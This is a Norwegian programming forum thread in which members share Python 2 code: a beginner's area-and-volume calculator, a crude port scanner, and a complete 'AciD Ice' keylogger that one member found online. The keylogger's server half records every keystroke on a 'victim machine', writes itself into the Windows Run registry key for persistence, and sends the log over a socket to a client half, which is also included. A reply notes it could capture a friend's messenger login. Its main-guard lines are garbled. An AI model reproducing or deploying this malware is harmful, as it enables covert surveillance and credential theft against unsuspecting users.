Gå til innhold

Anbefalte innlegg

Jeg tenkte å lage en slik post her som er slik at alle kan poste sine programmerings-koder i Phyton her, slik at vi alle kan lære litt av hverandre. Forklar veldig gjerne hva programmene går ut på. Post alt dere synes er kult :thumbup: Her er mitt alle første program som ble ferdig. La meg minne dere på at jeg bare er 13 år, så ikke le!

 

def circle():
  print "You have chosen to find the area of a sircle\n"
  print
  radius = input("Please type in the radius of the sircle here: ")
  print "\nThe area of the sircle is: ", radius*radius*3.14
   
  
def rectangle():
  print "You have chosen to find the area of a rectangle\n"
  print
  width = input ("Please type in the width here: ")
  height = input ("Please type in the height of the rectangle here: ")
  print "\nThe area of the rectangle is: ", width*height


def square():
  print "You have chosen to find the area of a square\n"
  print
  side = input ("Please type inn the lenght of one of the sides here: ")
  print "\nThe area of the square is: ", side*side


def sylinder():
   print "You have chosen to find the volum of a sylinder\n"
   print
   radius = input ("Please type in the radius of the sylinder here: ")
   height = input ("Please type in the height of the sylinder here: ")
   print "\nThe volum of the sylinder is: ", radius*radius*3.14*height


def prism():
   print "You have chosen to find the volum of a prism\n"
   print
   width = input ("Please type in the width of the prism here :")
   lenght = input ("Please type in the lenght of the prism here :")
   height = input ("Please type in the height of the prism here :")
   print "\nThe volum of the prism is: ", width*lenght*height


def dice():
   print "You have chosen to find the volum of a dice\n"
   print
   side = input ("Please type in the lenght of one of the sides here: ")
   print "\nThe volum of the dice is: ", side*side*side
      

print "Welcome!"
print
print "This is a program made for calculation of area and volum."
print "---------------------------------------------------------"

while True:

  print "\nDo you want to calculate a new area?\n"
  print "1: Yes"
  print "2: No"
  choice = input ("\nType in 1 or 2 here: ")
  
  if choice == 1:
      
      while True:

          print "\n\nPlease select a shape:"
          print
          print "1: area of sircle"
          print "2: area of rectangle"
          print "3: area of square"
          print "4: volum of sylinder"
          print "5: volum of prism"
          print "6: volum of dice\n"

          shape = input ("Type in 1, 2, 3, 4, 5 or 6 here: ")
          print 
          
          if shape == 1:
              circle()
              break
          
          elif shape == 2:
              rectangle()
              break
          
          elif shape == 3:
              square()
              break

          elif shape == 4:
              sylinder()
              break

          elif shape == 5:
              prism()
              break

          elif shape == 6:
              dice()
              break
              
          else:
              print "That is not a valid number. Please try again."
          
  elif choice == 2:
      print "\nGood bye!"
      break
      
  else:
      print "\nThat is not a valid number. Please try again."

Endret av chipmann
Lenke til kommentar
Videoannonse
Annonse

Hvor vi lærer Phyton? blant annet her og her.

 

Det er der jeg har lært det jeg kan, men selvfølgelig har jeg også fått hjelp her på forumet :D

 

Bare post inn alle koder dere har :D

Jeg vil også gjerne se noen av kodene til FraXinuS :D

Endret av chipmann
Lenke til kommentar

Dette er en ganske dårlig lagd portscanner som sender en beskjed gjennom porten(e) som er åpne.

 

import socket

target = raw_input('Adress: ')
startValue = input("Start port: ")
endValue = input("End port: ")

while startValue < endValue:
       try:
               streamSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
               streamSocket.connect((target, startValue))
               print "Connected at port", startValue
               startValue = startValue + 1
               msg = raw_input(">>")
               streamSocket.send(msg)
       except:
               print "Failed to connect at port", startValue
               startValue = startValue + 1
[

Lenke til kommentar

se! Jeg fant denne på nettet!! Det er en keylogger. Tror dere at den er trygg? tror dere at den funker?

 

"""
Server Version
*KeyLogger.pyw
*Log all key strokes from victim machine
Features:
-Text File Transfer
-Version 1.2
"""
import os
import string
import sys
import win32api
import socket
from _winreg import *
def body():
    try:
       socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
       socket1.bind((socket.gethostname(), 902))
       socket1.listen(5) 
       conn, addr = socket1.accept()
    except socket.error:
       print "error with sockets"
    else:  
      try:
         keylog_file = open("C:\\keylog_file.txt","w")
      except IOError:
         print "Error grabbing file"
      else:
       while 1:
          keyAscii = 0
          for i in range(32, 256):
              key_log = win32api.GetAsyncKeyState(i)
              if key_log == -32767:
                print i
                key_end = 81
                keylog_file.write(chr(i))
                if i == key_end:
                   keylog_file.close()
                   keyin = open("C:\\keylog_file.txt","r")
                   data = keyin.read()
                   conn.send(data)
def regwrite():
 aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
 aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run") 
 aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
 SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\your_project_name_here.pyw")
 CloseKey(aKey)
 CloseKey(aReg)
if     ==  '':
     class mainexecution:
       regwrite()
       body()



"""
Client Version
*Client.py
*Log all key strokes from victim machine
Features:
-Text File Transfer
-Help
-About
-Version 1.2
"""
import socket 
import os
def body():
    print "AciD Ice Client V-1.1"
    victim_IP = raw_input ("please input an IP to connect to ") 
    host = victim_IP 
    port = 902
    addr = (victim_IP, 902)
    try:
      socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      socket1.connect(addr)
    except socket.error:   
      print "failure to connect"
    else:
      print "connection Made to remote host =]"
      try:
        file = open("C:\\key_log_file2.txt","w")
      except IOError:
        print "error in file"
      else:
        logging()  
        data = socket1.recv(1024)
        print data 
        file.write(data)
        file.close()
def logging():
  print "Logging keys..."
  print "------------------------------"
if     ==  '':
  class mainprog:  
     body()

Lenke til kommentar

Tjaa, det sprøs hva du mener med trygg det:P

 

For den som kjører clientversjonen er det ikke stress. Men hosten med serverversjonen får jo alle tastetrykk logget og sendt til clienten

 

Kan jo være fint om du skal overvåke pc'ene i hjemmet. Men jeg kan vel si det slik at det er ganske surt om en kompis legger det inn på pc'en din. For så å kunne logge inn på msn'en din osv.

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
  • Hvem er aktive   0 medlemmer

    • Ingen innloggede medlemmer aktive
×
×
  • Opprett ny...